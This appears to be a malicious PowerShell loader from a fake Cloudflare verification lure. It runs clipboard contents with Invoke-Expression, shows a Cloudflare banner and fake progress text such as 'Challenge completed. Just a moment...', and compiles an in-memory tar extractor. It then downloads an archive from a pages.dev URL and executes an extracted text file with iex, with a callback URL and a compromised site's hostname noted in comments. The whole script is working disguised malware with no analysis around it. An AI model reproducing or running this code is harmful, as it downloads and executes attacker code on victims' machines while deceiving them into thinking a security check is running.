powershell -c "Invoke-Expression(([System.Text.StringBuilder]::new((Get-Clipboard -Raw))).Remove(0, 256).ToString());" echo " ____ _ _ __ _ / ___| | ___ _ _ __| |/ _| | __ _ _ __ ___ | | | |/ _ \| | | |/ _` | |_| |/ _` | '__/ _ \ | |___| | (_) | |_| | (_| | _| | (_| | | | __/ \____|_|\___/ \__,_|\__,_|_| |_|\__,_|_| \___| "; Write-Host "Extracting ..." if (-not ([AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object { $_.GetTypes() } | Where-Object { $_.FullName -eq 'TarExtractor' })) { $tarExtractorCode = @" using System; using System.IO; using System.Collections.Generic; public class TarExtractor { public static Dictionary ExtractTarFromMemory(byte[] tarData) { var extractedFiles = new Dictionary(); using (var memoryStream = new MemoryStream(tarData)) { while (memoryStream.Position < memoryStream.Length) { byte[] header = new byte[512]; memoryStream.Read(header, 0, 512); string fileName = System.Text.Encoding.ASCII.GetString(header, 0, 100).Trim('\0'); if (string.IsNullOrEmpty(fileName)) break; string fileSizeOctal = System.Text.Encoding.ASCII.GetString(header, 124, 12).Trim('\0').Trim(); long fileSize = Convert.ToInt64(fileSizeOctal, 8); byte[] fileData = new byte[fileSize]; memoryStream.Read(fileData, 0, fileData.Length); extractedFiles.Add(fileName, fileData); long padding = 512 - (memoryStream.Position % 512); if (padding < 512) { memoryStream.Seek(padding, SeekOrigin.Current); } } } return extractedFiles; } } "@ Add-Type -TypeDefinition $tarExtractorCode -Language CSharp } # Tag: Klaus2 Start-Sleep 1 $tarUrl = "https://los-santos.pages.dev/continue?ray_id=06f0b08ff2d08e5a" $webClient = New-Object System.Net.WebClient $tarData = $webClient.DownloadData($tarUrl) # Hostname: sziveslelek.hu # Callback: https://api.cdn0v3.com/api/v1?ray_id=06f0b08ff2d08e5a&action=signal Write-Host "50% done" Start-Sleep 1 $extractedFiles = [TarExtractor]::ExtractTarFromMemory($tarData) foreach ($file in $extractedFiles.Keys) { if ($file -match "\.bin$") { $data = $extractedFiles[$file] $configurationString = [System.Text.Encoding]::UTF8.GetString($data) Write-Host "80% done" } if ($file -match "\.txt$") { Write-Host "Challenge completed. Just a moment..." $data = $extractedFiles[$file] $plugin = [System.Text.Encoding]::UTF8.GetString($data) iex $plugin } } Write-Host "100% done"